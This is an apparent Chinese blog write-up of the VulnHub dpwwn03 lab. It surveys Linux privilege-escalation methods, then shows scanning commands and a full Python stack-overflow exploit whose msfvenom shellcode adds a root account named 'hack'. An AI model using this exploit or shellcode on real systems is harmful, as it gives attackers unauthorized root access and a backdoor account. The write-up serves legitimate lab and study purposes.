Linux通过栈溢出进行提权实战(dpwwn03)

最近在刷vulnhub靶场,偶然间做到了dpwwn系列的靶场,其中dpwwn03靶场提权用的是程序栈溢出的漏洞,相对常规方法还是比较少见的,所以拿出来单独在这里研究下。既然讲到了提权,顺带介绍下常规...

最近在刷vulnhub靶场,偶然间做到了dpwwn系列的靶场,其中dpwwn03靶场提权用的是程序栈溢出的漏洞,相对常规方法还是比较少见的,所以拿出来单独在这里研究下。既然讲到了提权,顺带介绍下常规的提权方式:

1、内核漏洞

例如脏牛这类型的。

2、定时任务

Cron通常以root特权运行。如果我们可以成功修改cron中的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码。

3、suid提权

SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件。例如,Linux ping命令通常需要root权限才能打开原始网络套接字。通过将ping程序标记为SUID(所有者为root),只要低特权用户执行ping程序,便会以root特权执行ping。

4、sudo配置错误

管理员可能只允许用户通过SUDO运行一些命令,可能在没有察觉的情况下中引入漏洞,这可能导致权限提升。一个典型的例子是将SUDO权限分配给find命令,以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道'find'命令包含用于执行命令的参数,但攻击者可以以root特权执行命令。

5、第三方组件

某些程序使用root权限启动,如果第三方服务或者程序存在漏洞或者配置问题,可以被利用来获得root权限。

6、NFS提权

网络文件系统:网络文件系统允许客户端计算机上的用户通过网络挂载共享文件或目录。NFS使用远程过程调用(RPC)在客户端和服务器之间路由请求。Root Squashing参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程root用户在连接时会分配一个用户“ nfsnobody ”,该用户具有最小的本地权限。如果 no_root_squash 选项开启的话,并为远程用户授予root用户对所连接系统的访问权限。

下面我们从头开始介绍dpwwn03这个靶场的渗透过程,以这个靶场为对象进行相关知识的研究。

一、主机发现

因为是靶场,在配置好虚拟机的NAT连接方式后,需要发现靶机的ip,使用如下的命令:

arp-scan -l

nmap -sP 192.168.167.0/24

二、端口发现

常用的命令有:

nmap -sS -sV -Pn -T4 -p- 192.168.167.189

nmap -A -O -sV -p 22,161 --script=vuln 192.168.167.189

下图是我对靶机的扫描结果:

这个靶机因为没有web端口,所以目录扫描就省去了,不然在实战中,目录扫描是很关键的一步,通常都需要通过目录扫描来提供漏洞挖掘思路。

三、漏洞挖掘

从端口的扫描结果可以知道,该靶机渗透的重点就在22和161端口,我们一个一个来试试。

1、ssh

nmap通过脚本扫描已经列出了一堆,在用searchsploit看看;

没找到能合适用的exp,换下一个端口试试。

2、snmp

简单网络管理协议(SNMP)是TCP/IP协议簇的一个应用层协议。具体的大家自行查阅,我在这里就不贴了。看下可利用的漏洞:

也没发现啥合适的漏洞。

后来找到了一款针对snmp协议的工具,使用了一下发现:

snmpwalk是SNMP的一个工具,它使用SNMP的GETNEXT请求查询指定OID(SNMP协议中的对象标识)入口的所有OID树信息,并显示给用户。

其他就没啥思路了。用这个john去试了试ssh登录,居然成功了,有点玄幻了。

四、提权

连上ssh后,一上来肯定是要sudo的都试试;

在sudo -l中已经发现了线索,看下ss.sh;

尝试http下载但没有成功,以后遇到bash反弹的就架个服务器,遇到ssh的还是用sftp更方便点;
我这里用得是MobaXterm;运行下程序看看;

到这里提权思路已经很明显了,suid提权的思想,smashthestack是以root的权限运行的,如果通过smashthestack在运行其他程序,那其他程序也是以root的权限运行的,下面就来研究下smashthestack这个程序。

程序分析

看看程序的基本信息;
看看程序开了哪些保护;
1、RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
2、Stack:这个选项表示栈保护功能有没有开启。
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过
3、NX:NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
gcc编译器默认开启了NX选项,如果需要关闭NX选项,可以给gcc编译器添加-z execstack参数。
例如:
gcc -z execstack -o test test.c
在Windows下,类似的概念为DEP(数据执行保护),在最新版的Visual Studio中默认开启了DEP编译选项。
NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过
4、PIE(ASLR):PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址

这个程序可以在栈上执行代码,条件便利了很多。

程序逻辑结构:
read读进来了1024个字节;result大小只有728个字节,读进来的字节数大于拷贝的空间,会发生栈溢出;导致程序跳转到我们构造好的程序空间去执行。

这里栈溢出的难点在于找到溢出后shellcode的存放地址,以便覆盖返回地址后,能正确的将返回地址覆盖为shellcode的地址。(我是直接进到靶机里去调试的,当然,用edb、gdb调试甚至爆破都是可以的。)

这里用msfvenom生成自己所需要的shellcode:

这个shellcode的作用是添加一个root权限的用户hack。

完整的exp如下:

#!/usr/bin/python
import sys, socket

EIP="\xd1\xf2\xff\xbf"
junk="A"*732
NOP="\x90" * 16
# msfvenom -p linux/x86/adduser USER=hack PASS=hack123 -e x86/alpha_mixed -f c
payload=(
"\x89\xe0\xda\xca\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x35"
"\x61\x58\x49\x4c\x49\x48\x4b\x50\x6a\x51\x56\x51\x48\x68\x4d"
"\x4b\x30\x42\x4a\x53\x35\x50\x58\x45\x61\x6f\x39\x72\x71\x75"
"\x38\x62\x53\x32\x53\x32\x57\x70\x64\x62\x48\x66\x4f\x34\x6f"
"\x44\x30\x73\x51\x45\x38\x34\x6f\x30\x65\x51\x64\x70\x63\x4b"
"\x39\x78\x63\x52\x61\x4d\x65\x45\x54\x58\x4d\x4b\x30\x6f\x63"
"\x6a\x48\x77\x52\x57\x70\x77\x70\x53\x30\x61\x78\x51\x71\x70"
"\x63\x52\x4b\x77\x4a\x52\x61\x30\x7a\x75\x32\x62\x67\x31\x62"
"\x54\x6f\x57\x31\x75\x35\x33\x71\x43\x62\x32\x71\x74\x30\x71"
"\x51\x76\x5a\x46\x50\x57\x4a\x56\x50\x46\x5a\x56\x5a\x64\x6f"
"\x46\x5a\x34\x6f\x63\x52\x50\x69\x72\x4e\x34\x6f\x44\x33\x52"
"\x48\x75\x5a\x63\x69\x4c\x4b\x72\x71\x4b\x4c\x30\x6a\x43\x34"
"\x56\x38\x5a\x6d\x6b\x30\x43\x5a\x63\x31\x50\x58\x78\x4d\x4d"
"\x50\x41\x41"
)

buffer=junk + EIP + NOP + payload
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost",3210))? #s.connect(("192.168.167.138",3210))? 尝试远程溢出,但远端程序连接存在问题没有成功;
s.send(buffer)
s.close()
因为tmp才可写,所以把payload下载到tmp目录下运行的:

而后直接su hack就完成了提权。

大家还可以根据自己的需要,利用msfvenom生成各种payload进行测试,在这里就不再重复了。

总结

靶机的渗透脑洞了一下,也学到了snmp这个平时我们很容易忽视的协议。关于提权,原理和思路都很清晰,溢出的方法也不难,就是程序的调试有点让人崩溃,需要自己去找到shellcode的存放位置,因为开了PIE,所以不同系统、不同机器启动后shellcode的位置都会发生变化。

  • 发表于 2021-04-18 09:08
  • 阅读 ( 395 )
  • 分类:互联网

0 条评论

请先 登录 后评论
带殇的微微笑
带殇的微微笑

583 篇文章

你可能感兴趣的文章

相关问题